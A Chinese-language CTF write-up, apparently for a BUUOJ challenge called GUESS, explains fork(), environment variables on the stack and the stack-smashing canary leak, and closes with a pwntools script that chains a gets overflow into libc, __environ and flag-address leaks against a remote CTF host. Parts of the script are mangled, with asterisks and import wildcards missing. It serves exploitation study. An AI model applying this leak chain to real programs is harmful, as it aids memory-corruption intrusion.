image.png
开了cannary
image.png
刚开始不懂fork函数,在测试时就很疑惑,是怎么做到循环的,后来才明白这是fork函数

fork函数

fork函数相当于是一个克隆函数,就是把当前程序的所有数据再在栈中复制一遍,创建一个新的进程。fork函数是linux中的一个函数,windows中是不能编译下面代码的。这就涉及到操作系统的一系列知识了,我还不大懂。

  1. #include<stdio.h>
  2. #include<unistd.h>
  3. int main(){
  4. pid_t pid;
  5. pid = fork();
  6. if(pid<0){
  7. printf("error");
  8. }else if (pid==0){
  9. printf("son\n");
  10. }else{
  11. printf("father\n");
  12. }
  13. return 0;
  14. }

输出
image.png
可以看到两个输出结果,而且还不在一起。
分析程序流程,可以很明显看出来这是个get函数溢出漏洞,但是呢,这里没有打印函数,可以说是我们之前学的知识完全不够了,所有下面是一种新的攻击方式。

stack smashing/ environ 攻击

因为开了canary我们知道如果强行覆盖栈上地址会导致程序运行崩溃
image.png
如果仔细看看会发现这里每次都会打印这个程序的名字,那这个程序的名字是怎么来的呢?程序运行的时候每次都会将环境变量也加载到栈当中,就是当前函数的各种信息。
记得一次上java课的时候,老师还在课上讲过main函数的参数问题,下面借鉴了别人博客,主要我没怎么搞懂

  • argc:命令条数
  • argc[]输入的每条命令

    1. #include <iostream>
    2. using std::cout;
    3. using std::cin;
    4. using std::endl;
    5. int main(int argc, char *argv[])
    6. {
    7. for (int i = 0; i < argc; ++i)
    8. cout<<argv[i]<<endl;
    9. return 0;
    10. }

    那么这个又是怎么样来搞呢?gdb中有这样一个命令environ可以直接将地址给打印出来.
    image.png
    然后这个题目是一开始就将flag读进了栈当中,所以如果说我们能够通过这些手段将偏移给搞出来,flag的地址是不是就出来了?然后再次通过stack smashing 将flag打印出来

    攻击方式

  • 先通过put的got表泄露libc的基地址

  • 泄露libc的地址之后再通过__environ函数泄露在栈上的地址
  • 计算出flag地址与environ函数的偏移,再次通过stack smashing泄露出flag的值 ```python from pwn import from LibcSearcher import context.log_level=’debug’

    io = process(‘./GUESS’)

    io = remote(‘node4.buuoj.cn’,26865) libc =ELF(“libc-2.232.so”) elf = ELF(‘./GUESS’) offest =0x128 puts_got =elf.got[‘puts’] payload =b’a’offest+p64(puts_got) io.recvuntil(“Please type your guessing flag”) io.sendline(payload) io.recvuntil(“** stack smashing detected :”) puts_addr =u64(io.recvuntil(“\x7f”)[-6:].ljust(8,’\x00’)) log.success(“puts_addr:”+hex(puts_addr)) libc = LibcSearcher(“puts”,puts_addr) libcbase = puts_addr -libc.dump(“puts”) log.success(“libcbase———————->”+hex(libcbase)) environ_addr = libcbase+libc.dump(“__environ”) io.recvuntil(“Please type your guessing flag”) payload =b’a’offest+p64(environ_addr) io.sendline(payload) io.recvuntil(“* stack smashing detected **:”) environ = u64(io.recvuntil(“\x7f”)[-6:].ljust(8,’\x00’)) flag_addr = environ - 0x168 payload =b’a’offest+p64(flag_addr) io.recvuntil(“Please type your guessing flag”) io.sendline(payload)

io.interactive() ```